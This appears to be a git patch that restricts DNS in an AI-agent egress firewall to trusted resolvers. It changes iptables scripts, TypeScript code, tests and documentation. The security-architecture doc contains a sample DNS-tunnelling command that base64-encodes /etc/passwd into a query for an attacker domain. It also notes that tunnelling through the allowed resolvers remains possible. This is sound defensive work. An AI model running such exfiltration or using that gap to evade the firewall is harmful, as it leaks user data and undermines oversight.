From 6597f82c8a80bbdf978def65192c3a5a075d0e54 Mon Sep 17 00:00:00 2001 From: "Jiaxiao (mossaka) Zhou" Date: Wed, 26 Nov 2025 23:07:57 +0000 Subject: [PATCH 1/3] feat(security): restrict dns traffic to trusted servers only Addresses DNS-based data exfiltration vulnerability where DNS traffic (port 53) was allowed to ANY destination, enabling attackers to encode sensitive data in DNS queries to malicious DNS servers. Signed-off-by: Jiaxiao (mossaka) Zhou --- CLAUDE.md | 21 ++ README.md | 13 + containers/agent/entrypoint.sh | 37 ++- containers/agent/setup-iptables.sh | 37 ++- .../content/docs/reference/cli-reference.md | 17 ++ .../docs/reference/security-architecture.md | 31 ++- docs/environment.md | 14 + src/cli-workflow.ts | 5 +- src/cli.test.ts | 88 ++++++- src/cli.ts | 72 +++++ src/docker-manager.ts | 6 +- src/host-iptables.test.ts | 147 +++++++++-- src/host-iptables.ts | 245 +++++++++++++++--- src/types.ts | 16 ++ 14 files changed, 645 insertions(+), 104 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index bc5b787..c23c082 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -223,6 +223,27 @@ Containers stopped, temporary files cleaned up - `.github.com` → matches all subdomains - Squid denies any domain not in the allowlist +## DNS Configuration + +DNS traffic is restricted to trusted DNS servers only to prevent DNS-based data exfiltration: + +- **CLI Option**: `--dns-servers ` (comma-separated list of IP addresses) +- **Default**: Google DNS (`8.8.8.8,8.8.4.4`) +- **IPv6 Support**: Both IPv4 and IPv6 DNS servers are supported +- **Docker DNS**: `127.0.0.11` is always allowed for container name resolution + +**Implementation**: +- Host-level iptables (`src/host-iptables.ts`): DNS traffic to non-whitelisted servers is blocked +- Container NAT rules (`containers/agent/setup-iptables.sh`): Reads from `AWF_DNS_SERVERS` env var +- Container DNS config (`containers/agent/entrypoint.sh`): Configures `/etc/resolv.conf` +- Docker Compose (`src/docker-manager.ts`): Sets container `dns:` config and `AWF_DNS_SERVERS` env var + +**Example**: +```bash +# Use Cloudflare DNS instead of Google DNS +sudo awf --allow-domains github.com --dns-servers 1.1.1.1,1.0.0.1 -- curl https://api.github.com +``` + ## Exit Code Handling The wrapper propagates the exit code from the agent container: diff --git a/README.md b/README.md index e2538ee..376ae54 100644 --- a/README.md +++ b/README.md @@ -116,8 +116,21 @@ sudo awf \ ### What This Protects Against - Unauthorized egress to non-whitelisted domains - Data exfiltration via HTTP/HTTPS +- DNS-based data exfiltration to unauthorized DNS servers - MCP servers accessing unexpected endpoints +### DNS Server Restriction + +DNS traffic is restricted to trusted servers only (default: Google DNS 8.8.8.8, 8.8.4.4). This prevents DNS-based data exfiltration attacks where an attacker encodes data in DNS queries to a malicious DNS server. + +```bash +# Use custom DNS servers +sudo awf \ + --allow-domains github.com \ + --dns-servers 1.1.1.1,1.0.0.1 \ + -- curl https://api.github.com +``` + ## Development & Testing ### Running Tests diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 5fecb31..2b81061 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -6,24 +6,35 @@ echo "[entrypoint] ==================================" # Fix DNS configuration - ensure external DNS works alongside Docker's embedded DNS # Docker's embedded DNS (127.0.0.11) is used for service name resolution (e.g., squid-proxy) -# External DNS servers (8.8.8.8, 8.8.4.4) are used for internet domain resolution +# Trusted external DNS servers are used for internet domain resolution echo "[entrypoint] Configuring DNS..." if [ -f /etc/resolv.conf ]; then # Backup original resolv.conf cp /etc/resolv.conf /etc/resolv.conf.orig - # Create new resolv.conf with both Docker embedded DNS and external DNS - # Docker's embedded DNS comes first for service discovery - cat > /etc/resolv.conf << EOF -# Generated by awf entrypoint -# Docker embedded DNS for service name resolution (squid-proxy, etc.) -nameserver 127.0.0.11 -# External DNS servers for internet domain resolution -nameserver 8.8.8.8 -nameserver 8.8.4.4 -options ndots:0 -EOF - echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and external DNS (8.8.8.8, 8.8.4.4)" + # Get DNS servers from environment (default to Google DNS) + DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}" + + # Create new resolv.conf with Docker embedded DNS first, then trusted external DNS servers + { + echo "# Generated by awf entrypoint" + echo "# Docker embedded DNS for service name resolution (squid-proxy, etc.)" + echo "nameserver 127.0.0.11" + echo "# Trusted external DNS servers for internet domain resolution" + + # Add each trusted DNS server + IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS" + for dns_server in "${DNS_ARRAY[@]}"; do + dns_server=$(echo "$dns_server" | tr -d ' ') + if [ -n "$dns_server" ]; then + echo "nameserver $dns_server" + fi + done + + echo "options ndots:0" + } > /etc/resolv.conf + + echo "[entrypoint] DNS configured with Docker embedded DNS (127.0.0.11) and trusted servers: $DNS_SERVERS" fi # Setup Docker socket permissions if Docker socket is mounted diff --git a/containers/agent/setup-iptables.sh b/containers/agent/setup-iptables.sh index 825ce7a..2c7d32d 100644 --- a/containers/agent/setup-iptables.sh +++ b/containers/agent/setup-iptables.sh @@ -26,15 +26,34 @@ echo "[iptables] Allow localhost traffic..." iptables -t nat -A OUTPUT -o lo -j RETURN iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN -# Allow DNS queries to any DNS server (including Docker's 127.0.0.11 and configured DNS servers) -echo "[iptables] Allow DNS queries..." -iptables -t nat -A OUTPUT -p udp --dport 53 -j RETURN -iptables -t nat -A OUTPUT -p tcp --dport 53 -j RETURN - -# Explicitly allow DNS servers configured in the container (8.8.8.8, 8.8.4.4) -echo "[iptables] Allow traffic to DNS servers..." -iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN -iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN +# Get DNS servers from environment (default to Google DNS) +DNS_SERVERS="${AWF_DNS_SERVERS:-8.8.8.8,8.8.4.4}" +echo "[iptables] Configuring DNS rules for trusted servers: $DNS_SERVERS" + +# Allow DNS queries ONLY to trusted DNS servers (prevents DNS exfiltration) +IFS=',' read -ra DNS_ARRAY <<< "$DNS_SERVERS" +for dns_server in "${DNS_ARRAY[@]}"; do + dns_server=$(echo "$dns_server" | tr -d ' ') + if [ -n "$dns_server" ]; then + echo "[iptables] Allow DNS to trusted server: $dns_server" + iptables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN + iptables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN + fi +done + +# Allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution +echo "[iptables] Allow DNS to Docker embedded DNS (127.0.0.11)..." +iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN +iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN + +# Allow return traffic to trusted DNS servers +echo "[iptables] Allow traffic to trusted DNS servers..." +for dns_server in "${DNS_ARRAY[@]}"; do + dns_server=$(echo "$dns_server" | tr -d ' ') + if [ -n "$dns_server" ]; then + iptables -t nat -A OUTPUT -d "$dns_server" -j RETURN + fi +done # Allow traffic to Squid proxy itself echo "[iptables] Allow traffic to Squid proxy (${SQUID_IP}:${SQUID_PORT})..." diff --git a/docs-site/src/content/docs/reference/cli-reference.md b/docs-site/src/content/docs/reference/cli-reference.md index 8236d6a..86cdf8e 100644 --- a/docs-site/src/content/docs/reference/cli-reference.md +++ b/docs-site/src/content/docs/reference/cli-reference.md @@ -32,6 +32,7 @@ awf [options] -- | `--env-all` | flag | `false` | Pass all host environment variables | | `-v, --mount ` | string | `[]` | Volume mount (repeatable) | | `--container-workdir ` | string | User home | Working directory inside container | +| `--dns-servers ` | string | `8.8.8.8,8.8.4.4` | Trusted DNS servers (comma-separated) | | `-V, --version` | flag | — | Display version | | `-h, --help` | flag | — | Display help | @@ -130,6 +131,22 @@ Mount host directories into container. Format: `host_path:container_path[:ro|rw] Working directory inside the container. +### `--dns-servers ` + +Comma-separated list of trusted DNS servers. DNS traffic is **only** allowed to these servers, preventing DNS-based data exfiltration. Both IPv4 and IPv6 addresses are supported. + +```bash +# Use Cloudflare DNS +--dns-servers 1.1.1.1,1.0.0.1 + +# Use Google DNS with IPv6 +--dns-servers 8.8.8.8,2001:4860:4860::8888 +``` + +:::note +Docker's embedded DNS (127.0.0.11) is always allowed for container name resolution, regardless of this setting. +::: + ## Exit Codes | Code | Description | diff --git a/docs-site/src/content/docs/reference/security-architecture.md b/docs-site/src/content/docs/reference/security-architecture.md index f4622bd..339493f 100644 --- a/docs-site/src/content/docs/reference/security-architecture.md +++ b/docs-site/src/content/docs/reference/security-architecture.md @@ -22,7 +22,7 @@ This firewall solves a specific problem: **egress control for AI agents running - **Full filesystem access**: Agents read and write files freely. If your threat model requires filesystem isolation, you need additional controls. - **Localhost communication**: Required for stdio-based MCP servers running alongside the agent. -- **DNS resolution**: Agents can resolve any domain (though they can't connect to most). +- **DNS to trusted servers only**: DNS queries are restricted to configured DNS servers (default: Google DNS). This prevents DNS-based data exfiltration to attacker-controlled DNS servers. - **Docker socket access**: The agent can spawn containers—we intercept and constrain them, but the capability exists. --- @@ -157,12 +157,13 @@ The agent and its MCP servers see normal Docker behavior; they don't know their Even with docker-wrapper, we don't fully trust it—an agent could theoretically find the real Docker binary or exploit a wrapper bug. The DOCKER-USER chain provides a backstop: ```bash -# Simplified rules (actual implementation in src/docker-manager.ts) +# Simplified rules (actual implementation in src/host-iptables.ts) iptables -I DOCKER-USER -i awf-bridge -j FW_WRAPPER -iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT # Squid: unrestricted -iptables -A FW_WRAPPER -p udp --dport 53 -j ACCEPT # DNS allowed -iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT # Traffic to proxy -iptables -A FW_WRAPPER -j DROP # Everything else blocked +iptables -A FW_WRAPPER -s 172.30.0.10 -j ACCEPT # Squid: unrestricted +iptables -A FW_WRAPPER -p udp -d 8.8.8.8 --dport 53 -j ACCEPT # DNS to trusted server +iptables -A FW_WRAPPER -p udp -d 8.8.4.4 --dport 53 -j ACCEPT # DNS to trusted server +iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT # Traffic to proxy +iptables -A FW_WRAPPER -j DROP # Everything else blocked ``` Any container on `awf-net`—whether we created it or the agent spawned it—has its egress filtered. Traffic either goes through Squid or gets dropped. @@ -227,17 +228,21 @@ Container joins `awf-net`, egress hits DOCKER-USER, routes through Squid, blocke ### DNS Tunneling -**Attack:** Agent encodes data in DNS queries to `data.attacker.com`: +**Attack:** Agent encodes data in DNS queries to an attacker-controlled DNS server: ```bash -nslookup $(cat /etc/passwd | base64).attacker.com +nslookup $(cat /etc/passwd | base64).attacker.com attacker-dns-server.com ``` -**Mitigation:** We allow DNS (UDP/53) because blocking it breaks everything. DNS tunneling is a known limitation. For high-security environments, consider: -- Using a DNS proxy that filters by domain -- Restricting DNS to specific resolvers -- Monitoring DNS query logs for anomalies +**Mitigation:** DNS traffic is restricted to trusted DNS servers only (configurable via `--dns-servers`, default: Google DNS 8.8.8.8, 8.8.4.4). Attempts to query arbitrary DNS servers are blocked at the iptables level. -This is outside our current scope but worth noting for threat models that include sophisticated attackers. +```bash +# The attacker's query to a rogue DNS server is blocked +[FW_BLOCKED_UDP] SRC=172.30.0.20 DST=attacker-dns-server.com DPT=53 +``` + +:::note[Remaining risk] +DNS tunneling through the *allowed* DNS servers (encoding data in query names to attacker-controlled domains) is still theoretically possible, as the trusted DNS server will recursively resolve any domain. For high-security environments, consider using a DNS filtering service or monitoring DNS query logs for anomalies. +::: --- diff --git a/docs/environment.md b/docs/environment.md index a7252d9..85ed61b 100644 --- a/docs/environment.md +++ b/docs/environment.md @@ -51,6 +51,20 @@ sudo -E awf --allow-domains github.com 'copilot --prompt "..."' - Working with untrusted code - In production/CI environments +## Internal Environment Variables + +The following environment variables are set internally by the firewall and used by container scripts: + +| Variable | Description | Example | +|----------|-------------|---------| +| `AWF_DNS_SERVERS` | Comma-separated list of trusted DNS servers | `8.8.8.8,8.8.4.4` | +| `HTTP_PROXY` | Squid proxy URL for HTTP traffic | `http://172.30.0.10:3128` | +| `HTTPS_PROXY` | Squid proxy URL for HTTPS traffic | `http://172.30.0.10:3128` | +| `SQUID_PROXY_HOST` | Squid container hostname | `squid-proxy` | +| `SQUID_PROXY_PORT` | Squid proxy port | `3128` | + +**Note:** These are set automatically based on CLI options and should not be overridden manually. + ## Troubleshooting **Variable not accessible:** Use `sudo -E` or pass explicitly with `--env VAR="$VAR"` diff --git a/src/cli-workflow.ts b/src/cli-workflow.ts index 6c21304..ca19cdf 100644 --- a/src/cli-workflow.ts +++ b/src/cli-workflow.ts @@ -2,7 +2,7 @@ import { WrapperConfig } from './types'; export interface WorkflowDependencies { ensureFirewallNetwork: () => Promise<{ squidIp: string }>; - setupHostIptables: (squidIp: string, port: number) => Promise; + setupHostIptables: (squidIp: string, port: number, dnsServers: string[]) => Promise; writeConfigs: (config: WrapperConfig) => Promise; startContainers: (workDir: string, allowedDomains: string[]) => Promise; runAgentCommand: ( @@ -41,7 +41,8 @@ export async function runMainWorkflow( // Step 0: Setup host-level network and iptables logger.info('Setting up host-level firewall network and iptables rules...'); const networkConfig = await dependencies.ensureFirewallNetwork(); - await dependencies.setupHostIptables(networkConfig.squidIp, 3128); + const dnsServers = config.dnsServers || ['8.8.8.8', '8.8.4.4']; + await dependencies.setupHostIptables(networkConfig.squidIp, 3128, dnsServers); onHostIptablesSetup?.(); // Step 1: Write configuration files diff --git a/src/cli.test.ts b/src/cli.test.ts index 31a8972..a30652e 100644 --- a/src/cli.test.ts +++ b/src/cli.test.ts @@ -1,5 +1,5 @@ import { Command } from 'commander'; -import { parseEnvironmentVariables, parseDomains, parseDomainsFile, escapeShellArg, joinShellArgs, parseVolumeMounts } from './cli'; +import { parseEnvironmentVariables, parseDomains, parseDomainsFile, escapeShellArg, joinShellArgs, parseVolumeMounts, isValidIPv4, isValidIPv6, parseDnsServers } from './cli'; import { redactSecrets } from './redact-secrets'; import * as fs from 'fs'; import * as path from 'path'; @@ -667,4 +667,90 @@ describe('cli', () => { } }); }); + + describe('IPv4 validation', () => { + it('should accept valid IPv4 addresses', () => { + expect(isValidIPv4('8.8.8.8')).toBe(true); + expect(isValidIPv4('1.1.1.1')).toBe(true); + expect(isValidIPv4('192.168.1.1')).toBe(true); + expect(isValidIPv4('0.0.0.0')).toBe(true); + expect(isValidIPv4('255.255.255.255')).toBe(true); + expect(isValidIPv4('10.0.0.1')).toBe(true); + expect(isValidIPv4('172.16.0.1')).toBe(true); + }); + + it('should reject invalid IPv4 addresses', () => { + expect(isValidIPv4('256.1.1.1')).toBe(false); + expect(isValidIPv4('1.1.1')).toBe(false); + expect(isValidIPv4('1.1.1.1.1')).toBe(false); + expect(isValidIPv4('1.1.1.256')).toBe(false); + expect(isValidIPv4('a.b.c.d')).toBe(false); + expect(isValidIPv4('1.1.1.1a')).toBe(false); + expect(isValidIPv4('')).toBe(false); + expect(isValidIPv4('localhost')).toBe(false); + expect(isValidIPv4('::1')).toBe(false); + }); + }); + + describe('IPv6 validation', () => { + it('should accept valid IPv6 addresses', () => { + expect(isValidIPv6('2001:4860:4860::8888')).toBe(true); + expect(isValidIPv6('2001:4860:4860::8844')).toBe(true); + expect(isValidIPv6('::1')).toBe(true); + expect(isValidIPv6('::')).toBe(true); + expect(isValidIPv6('fe80::1')).toBe(true); + expect(isValidIPv6('2001:db8:85a3::8a2e:370:7334')).toBe(true); + expect(isValidIPv6('2001:0db8:85a3:0000:0000:8a2e:0370:7334')).toBe(true); + }); + + it('should reject invalid IPv6 addresses', () => { + expect(isValidIPv6('8.8.8.8')).toBe(false); + expect(isValidIPv6('localhost')).toBe(false); + expect(isValidIPv6('')).toBe(false); + expect(isValidIPv6('2001:4860:4860:8888')).toBe(false); // Missing :: + }); + }); + + describe('DNS servers parsing', () => { + it('should parse valid IPv4 DNS servers', () => { + const result = parseDnsServers('8.8.8.8,8.8.4.4'); + expect(result).toEqual(['8.8.8.8', '8.8.4.4']); + }); + + it('should parse single DNS server', () => { + const result = parseDnsServers('1.1.1.1'); + expect(result).toEqual(['1.1.1.1']); + }); + + it('should parse mixed IPv4 and IPv6 DNS servers', () => { + const result = parseDnsServers('8.8.8.8,2001:4860:4860::8888'); + expect(result).toEqual(['8.8.8.8', '2001:4860:4860::8888']); + }); + + it('should trim whitespace from DNS servers', () => { + const result = parseDnsServers(' 8.8.8.8 , 1.1.1.1 '); + expect(result).toEqual(['8.8.8.8', '1.1.1.1']); + }); + + it('should filter empty entries', () => { + const result = parseDnsServers('8.8.8.8,,1.1.1.1,'); + expect(result).toEqual(['8.8.8.8', '1.1.1.1']); + }); + + it('should throw error for invalid IP address', () => { + expect(() => parseDnsServers('invalid.dns.server')).toThrow('Invalid DNS server IP address'); + }); + + it('should throw error for empty input', () => { + expect(() => parseDnsServers('')).toThrow('At least one DNS server must be specified'); + }); + + it('should throw error for whitespace-only input', () => { + expect(() => parseDnsServers(' , , ')).toThrow('At least one DNS server must be specified'); + }); + + it('should throw error if any server is invalid', () => { + expect(() => parseDnsServers('8.8.8.8,invalid,1.1.1.1')).toThrow('Invalid DNS server IP address: invalid'); + }); + }); }); diff --git a/src/cli.ts b/src/cli.ts index 9655098..a8619bf 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -73,6 +73,62 @@ export function parseDomainsFile(filePath: string): string[] { return domains; } +/** + * Default DNS servers (Google Public DNS) + */ +export const DEFAULT_DNS_SERVERS = ['8.8.8.8', '8.8.4.4']; + +/** + * Validates that a string is a valid IPv4 address + * @param ip - String to validate + * @returns true if the string is a valid IPv4 address + */ +export function isValidIPv4(ip: string): boolean { + const ipv4Regex = /^(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)$/; + return ipv4Regex.test(ip); +} + +/** + * Validates that a string is a valid IPv6 address + * @param ip - String to validate + * @returns true if the string is a valid IPv6 address + */ +export function isValidIPv6(ip: string): boolean { + // Comprehensive IPv6 validation covering: + // - Full form: 2001:0db8:85a3:0000:0000:8a2e:0370:7334 + // - Compressed form: 2001:db8:85a3::8a2e:370:7334 + // - Loopback: ::1 + // - Unspecified: :: + // - IPv4-mapped: ::ffff:192.0.2.1 + const ipv6Regex = /^(?:(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|(?:[0-9a-fA-F]{1,4}:){1,7}:|(?:[0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|(?:[0-9a-fA-F]{1,4}:){1,5}(?::[0-9a-fA-F]{1,4}){1,2}|(?:[0-9a-fA-F]{1,4}:){1,4}(?::[0-9a-fA-F]{1,4}){1,3}|(?:[0-9a-fA-F]{1,4}:){1,3}(?::[0-9a-fA-F]{1,4}){1,4}|(?:[0-9a-fA-F]{1,4}:){1,2}(?::[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:(?::[0-9a-fA-F]{1,4}){1,6}|:(?::[0-9a-fA-F]{1,4}){1,7}|::)$/; + return ipv6Regex.test(ip); +} + +/** + * Parses and validates DNS servers from a comma-separated string + * @param input - Comma-separated DNS server string (e.g., "8.8.8.8,1.1.1.1") + * @returns Array of validated DNS server IP addresses + * @throws Error if any IP address is invalid or if the list is empty + */ +export function parseDnsServers(input: string): string[] { + const servers = input + .split(',') + .map(s => s.trim()) + .filter(s => s.length > 0); + + if (servers.length === 0) { + throw new Error('At least one DNS server must be specified'); + } + + for (const server of servers) { + if (!isValidIPv4(server) && !isValidIPv6(server)) { + throw new Error(`Invalid DNS server IP address: ${server}`); + } + } + + return servers; +} + /** * Escapes a shell argument by wrapping it in single quotes and escaping any single quotes within it * @param arg - Argument to escape @@ -309,6 +365,11 @@ program '--container-workdir ', 'Working directory inside the container (should match GITHUB_WORKSPACE for path consistency)' ) + .option( + '--dns-servers ', + 'Comma-separated list of trusted DNS servers. DNS traffic is ONLY allowed to these servers (default: 8.8.8.8,8.8.4.4)', + '8.8.8.8,8.8.4.4' + ) .argument('[args...]', 'Command and arguments to execute (use -- to separate from options)') .action(async (args: string[], options) => { // Require -- separator for passing command arguments @@ -406,6 +467,15 @@ program logger.debug(`Parsed ${volumeMounts.length} volume mount(s)`); } + // Parse and validate DNS servers + let dnsServers: string[]; + try { + dnsServers = parseDnsServers(options.dnsServers); + } catch (error) { + logger.error(`Invalid DNS servers: ${error instanceof Error ? error.message : error}`); + process.exit(1); + } + const config: WrapperConfig = { allowedDomains, agentCommand, @@ -420,6 +490,7 @@ program envAll: options.envAll, volumeMounts, containerWorkDir: options.containerWorkdir, + dnsServers, }; // Warn if --env-all is used @@ -435,6 +506,7 @@ program }; logger.debug('Configuration:', JSON.stringify(redactedConfig, null, 2)); logger.info(`Allowed domains: ${allowedDomains.join(', ')}`); + logger.debug(`DNS servers: ${dnsServers.join(', ')}`); let exitCode = 0; let containersStarted = false; diff --git a/src/docker-manager.ts b/src/docker-manager.ts index 80c2bbe..8d12135 100644 --- a/src/docker-manager.ts +++ b/src/docker-manager.ts @@ -208,6 +208,10 @@ export function generateDockerCompose( Object.assign(environment, config.additionalEnv); } + // Pass DNS servers to container for setup-iptables.sh and entrypoint.sh + const dnsServers = config.dnsServers || ['8.8.8.8', '8.8.4.4']; + environment.AWF_DNS_SERVERS = dnsServers.join(','); + // Build volumes list for agent execution container const agentVolumes: string[] = [ // Essential mounts that are always included @@ -244,7 +248,7 @@ export function generateDockerCompose( ipv4_address: networkConfig.agentIp, }, }, - dns: ['8.8.8.8', '8.8.4.4'], // Use Google DNS instead of Docker's embedded DNS + dns: dnsServers, // Use configured DNS servers (prevents DNS exfiltration) dns_search: [], // Disable DNS search domains to prevent embedded DNS fallback volumes: agentVolumes, environment, diff --git a/src/host-iptables.test.ts b/src/host-iptables.test.ts index a082503..090b470 100644 --- a/src/host-iptables.test.ts +++ b/src/host-iptables.test.ts @@ -90,7 +90,7 @@ describe('host-iptables', () => { // Mock iptables -L DOCKER-USER (permission check) .mockRejectedValueOnce(permissionError); - await expect(setupHostIptables('172.30.0.10', 3128)).rejects.toThrow( + await expect(setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '8.8.4.4'])).rejects.toThrow( 'Permission denied: iptables commands require root privileges' ); }); @@ -121,7 +121,7 @@ describe('host-iptables', () => { exitCode: 0, } as any); - await setupHostIptables('172.30.0.10', 3128); + await setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '8.8.4.4']); // Verify chain was created expect(mockedExeca).toHaveBeenCalledWith('iptables', ['-t', 'filter', '-N', 'FW_WRAPPER']); @@ -140,16 +140,35 @@ describe('host-iptables', () => { '-j', 'ACCEPT', ]); - // Verify DNS rules + // Verify DNS rules for trusted servers only expect(mockedExeca).toHaveBeenCalledWith('iptables', [ '-t', 'filter', '-A', 'FW_WRAPPER', - '-p', 'udp', '--dport', '53', + '-p', 'udp', '-d', '8.8.8.8', '--dport', '53', '-j', 'ACCEPT', ]); expect(mockedExeca).toHaveBeenCalledWith('iptables', [ '-t', 'filter', '-A', 'FW_WRAPPER', - '-p', 'tcp', '--dport', '53', + '-p', 'tcp', '-d', '8.8.8.8', '--dport', '53', + '-j', 'ACCEPT', + ]); + + expect(mockedExeca).toHaveBeenCalledWith('iptables', [ + '-t', 'filter', '-A', 'FW_WRAPPER', + '-p', 'udp', '-d', '8.8.4.4', '--dport', '53', + '-j', 'ACCEPT', + ]); + + expect(mockedExeca).toHaveBeenCalledWith('iptables', [ + '-t', 'filter', '-A', 'FW_WRAPPER', + '-p', 'tcp', '-d', '8.8.4.4', '--dport', '53', + '-j', 'ACCEPT', + ]); + + // Verify Docker embedded DNS is allowed + expect(mockedExeca).toHaveBeenCalledWith('iptables', [ + '-t', 'filter', '-A', 'FW_WRAPPER', + '-p', 'udp', '-d', '127.0.0.11', '--dport', '53', '-j', 'ACCEPT', ]); @@ -211,7 +230,7 @@ describe('host-iptables', () => { exitCode: 0, } as any); - await setupHostIptables('172.30.0.10', 3128); + await setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '8.8.4.4']); // Should delete reference from DOCKER-USER expect(mockedExeca).toHaveBeenCalledWith('iptables', [ @@ -259,7 +278,7 @@ describe('host-iptables', () => { exitCode: 0, } as any); - await setupHostIptables('172.30.0.10', 3128); + await setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '8.8.4.4']); // Verify localhost rules expect(mockedExeca).toHaveBeenCalledWith('iptables', [ @@ -300,7 +319,7 @@ describe('host-iptables', () => { exitCode: 0, } as any); - await setupHostIptables('172.30.0.10', 3128); + await setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '8.8.4.4']); // Verify multicast block expect(mockedExeca).toHaveBeenCalledWith('iptables', [ @@ -324,7 +343,7 @@ describe('host-iptables', () => { ]); }); - it('should log and block UDP traffic (except DNS)', async () => { + it('should log and block all UDP traffic (DNS to non-whitelisted servers gets blocked)', async () => { mockedExeca // Mock getNetworkBridgeName .mockResolvedValueOnce({ @@ -349,52 +368,136 @@ describe('host-iptables', () => { exitCode: 0, } as any); - await setupHostIptables('172.30.0.10', 3128); + await setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '8.8.4.4']); - // Verify UDP logging + // Verify UDP logging (all UDP, DNS to whitelisted servers is allowed earlier in chain) expect(mockedExeca).toHaveBeenCalledWith('iptables', [ '-t', 'filter', '-A', 'FW_WRAPPER', - '-p', 'udp', '!', '--dport', '53', + '-p', 'udp', '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_UDP] ', '--log-level', '4', ]); // Verify UDP rejection expect(mockedExeca).toHaveBeenCalledWith('iptables', [ '-t', 'filter', '-A', 'FW_WRAPPER', - '-p', 'udp', '!', '--dport', '53', + '-p', 'udp', '-j', 'REJECT', '--reject-with', 'icmp-port-unreachable', ]); }); - }); - describe('cleanupHostIptables', () => { - it('should flush and delete FW_WRAPPER chain', async () => { - // Mock getNetworkBridgeName to return null (network bridge not found) - // This tests the simpler path where we just flush and delete the chain + it('should use ip6tables for IPv6 DNS servers', async () => { mockedExeca + // Mock getNetworkBridgeName .mockResolvedValueOnce({ - stdout: '', + stdout: 'fw-bridge', stderr: '', exitCode: 0, } as any) - // Mock iptables -F FW_WRAPPER + // Mock iptables -L DOCKER-USER (permission check) .mockResolvedValueOnce({ stdout: '', stderr: '', exitCode: 0, } as any) - // Mock iptables -X FW_WRAPPER + // Mock chain existence check (IPv4 chain doesn't exist) + .mockResolvedValueOnce({ + exitCode: 1, + } as any); + + mockedExeca.mockResolvedValue({ + stdout: '', + stderr: '', + exitCode: 0, + } as any); + + await setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '2001:4860:4860::8888']); + + // Verify IPv4 DNS rule uses iptables + expect(mockedExeca).toHaveBeenCalledWith('iptables', [ + '-t', 'filter', '-A', 'FW_WRAPPER', + '-p', 'udp', '-d', '8.8.8.8', '--dport', '53', + '-j', 'ACCEPT', + ]); + + // Verify IPv6 DNS rule uses ip6tables + expect(mockedExeca).toHaveBeenCalledWith('ip6tables', [ + '-t', 'filter', '-A', 'FW_WRAPPER_V6', + '-p', 'udp', '-d', '2001:4860:4860::8888', '--dport', '53', + '-j', 'ACCEPT', + ]); + + expect(mockedExeca).toHaveBeenCalledWith('ip6tables', [ + '-t', 'filter', '-A', 'FW_WRAPPER_V6', + '-p', 'tcp', '-d', '2001:4860:4860::8888', '--dport', '53', + '-j', 'ACCEPT', + ]); + + // Verify IPv6 chain was created + expect(mockedExeca).toHaveBeenCalledWith('ip6tables', ['-t', 'filter', '-N', 'FW_WRAPPER_V6']); + + // Verify IPv6 UDP block rules + expect(mockedExeca).toHaveBeenCalledWith('ip6tables', [ + '-t', 'filter', '-A', 'FW_WRAPPER_V6', + '-p', 'udp', + '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_UDP6] ', '--log-level', '4', + ]); + + expect(mockedExeca).toHaveBeenCalledWith('ip6tables', [ + '-t', 'filter', '-A', 'FW_WRAPPER_V6', + '-p', 'udp', + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); + }); + + it('should not create IPv6 chain when no IPv6 DNS servers', async () => { + mockedExeca + // Mock getNetworkBridgeName + .mockResolvedValueOnce({ + stdout: 'fw-bridge', + stderr: '', + exitCode: 0, + } as any) + // Mock iptables -L DOCKER-USER (permission check) .mockResolvedValueOnce({ stdout: '', stderr: '', exitCode: 0, + } as any) + // Mock chain existence check + .mockResolvedValueOnce({ + exitCode: 1, } as any); + mockedExeca.mockResolvedValue({ + stdout: '', + stderr: '', + exitCode: 0, + } as any); + + await setupHostIptables('172.30.0.10', 3128, ['8.8.8.8', '8.8.4.4']); + + // Verify IPv6 chain was NOT created + expect(mockedExeca).not.toHaveBeenCalledWith('ip6tables', ['-t', 'filter', '-N', 'FW_WRAPPER_V6']); + }); + }); + + describe('cleanupHostIptables', () => { + it('should flush and delete both FW_WRAPPER and FW_WRAPPER_V6 chains', async () => { + mockedExeca.mockResolvedValue({ + stdout: '', + stderr: '', + exitCode: 0, + } as any); + await cleanupHostIptables(); - // Verify chain cleanup operations + // Verify IPv4 chain cleanup operations expect(mockedExeca).toHaveBeenCalledWith('iptables', ['-t', 'filter', '-F', 'FW_WRAPPER'], { reject: false }); expect(mockedExeca).toHaveBeenCalledWith('iptables', ['-t', 'filter', '-X', 'FW_WRAPPER'], { reject: false }); + + // Verify IPv6 chain cleanup operations + expect(mockedExeca).toHaveBeenCalledWith('ip6tables', ['-t', 'filter', '-F', 'FW_WRAPPER_V6'], { reject: false }); + expect(mockedExeca).toHaveBeenCalledWith('ip6tables', ['-t', 'filter', '-X', 'FW_WRAPPER_V6'], { 